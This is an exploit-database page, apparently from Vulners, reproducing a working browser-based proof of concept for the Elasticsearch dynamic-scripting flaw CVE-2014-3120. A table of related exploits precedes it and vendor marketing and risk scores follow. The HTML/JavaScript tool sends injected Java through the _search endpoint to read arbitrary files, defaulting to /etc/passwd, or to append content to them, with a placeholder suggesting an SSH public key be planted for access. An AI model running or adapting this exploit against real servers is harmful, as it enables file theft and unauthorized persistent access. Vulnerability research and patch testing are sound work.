Vulners
Lucene search
ElasticSearch - Remote Code Execution
| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
 | ElasticSearch Remote Code Execution Exploit | 15 May 201400:00 | – | zdt |
| ElasticSearch Dynamic Script Arbitrary Java Execution | 1 Jun 201400:00 | – | zdt |
 | Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 3 Sep 202008:57 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 21 Sep 202014:36 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 25 Jan 202102:52 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 18 Oct 202000:49 | – | gitee |
| Exploit for Improper Access Control in Elasticsearch | 4 Dec 201921:40 | – | gitee |
 | elasticsearch and logstash -- remote OS command execution via dynamic scripting | 22 May 201400:00 | – | freebsd |
10
<!--
##CVE-2014-3120 Elastic Search Remote Code Execution
This project demonstrates the CVE-2014-3120 vulnerability/misconfiguration. It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them.
###Notes
This does not require a web server. Save it locally and run it from a browser.
Discovery and vuln publishing credit goes to: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/
-->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Latest compiled and minified CSS -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet">
<!-- Optional theme -->
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap-theme.min.css" rel="stylesheet">
<style>
body {
padding-top: 50px;
}
.starter-template {
padding: 40px 15px;
text-align: center;
}
</style>
</head>
<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function es_inject() {
var read_file;
var write_file;
read_file = function(filename) {
return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");
};
write_file = function(filename) {
return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" + filename + "\", true)));\nwriter.println(\"" + document.getElementById("element_2").value + "\");\nwriter.close();");
};
$(function() {
var payload, filename, files, host, _i, _len;
files = [document.getElementById("element_3").value];
payload = {
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {}
};
if (document.getElementById("element_4").checked) {
for (_i = 0, _len = files.length; _i < _len; _i++) {
filename = files[_i];
payload["script_fields"][filename] = {
"script": write_file(filename)
};
}
} else {
for (_i = 0, _len = files.length; _i < _len; _i++) {
filename = files[_i];
payload["script_fields"][filename] = {
"script": read_file(filename)
};
}
}
$.getJSON("http://" + document.getElementById("element_1").value + ":9200/_search?source=" + (encodeURIComponent(JSON.stringify(payload))) + "&callback=?", function(data) {
var content, contents, hit, _j, _len1, _ref, _results;
console.log(data);
_ref = data["hits"]["hits"];
_results = [];
for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {
hit = _ref[_j];
_results.push((function() {
var _k, _len2, _ref1;
_ref1 = hit["fields"];
for (filename in _ref1) {
contents = _ref1[filename];
document.getElementById("script_results").innerHTML += ("<h2>" + filename + "</h2>");
for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {
content = contents[_k];
document.getElementById("script_results").innerHTML += (content);
}
document.getElementById("script_results").innerHTML += ("<hr>");
//document.getElementById("script_results").innerHTML += (document.getElementById("element_4").checked);
}
})());
}
return _results;
});
});
};
//es_inject();
</script>
<body>
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Elastic Inject</a>
</div>
</div>
</div>
<div class="container">
<div class="starter-template">
<h2>CVE-2014-3120 Elastic Search Remote Code Execution</h2>
<p class="lead">This will read and write files from an ES instance vulnerable to CVE-2014-3120.<br> This is for demonstration purposes only.</p>
</div>
<div class="col-md-8">
<!-- <form id="ES_Inject" action="" method=""> /-->
<label for="element_1">ES_IP_Address: </label><br/>
<input id="element_1" name="element_1" class="element text medium" type="text" maxlength="255" value="127.0.0.1"/> <br/>
<label for="element_3">File to read/append to: </label><br/>
<input id="element_3" name="element_3" class="element text medium" type="text" maxlength="255" value="/etc/passwd"/> <br/>
<label class="description" for="element_2">Content to append: </label><br/>
<textarea id="element_2" name="element_2" class="element textarea large">YOUR_SSH_PUBLIC_KEY or SOMETHING</textarea> <br/>
<!-- <input id="element_4" type="radio" name="es_action" value="read" checked>READ<br/> /-->
<input id="element_4" type="checkbox" name="es_action" value="write">WRITE<br/>
<!-- <input id="saveForm" class="button_text" type="submit" name="submit" value="Submit" onClick="es_inject();"/> /-->
<button onclick="es_inject();">Click me</button>
<!-- </form> /-->
<h3>Your file contents should appear below if a read is successful. </h3>
<div id="script_results">
</div>
</div>
<div class="col-md-8">
Original vulnerability discovered by <a href="https://twitter.com/bvdbijl"> @BvdBijl</a> - <a href="http://bouk.co/blog/elasticsearch-rce/">http://bouk.co/blog/elasticsearch-rce/</a>
</div>
</div><!-- /.container -->
<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 May 2014 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 26.8
CVSS 3.18.1
EPSS0.84237
SSVC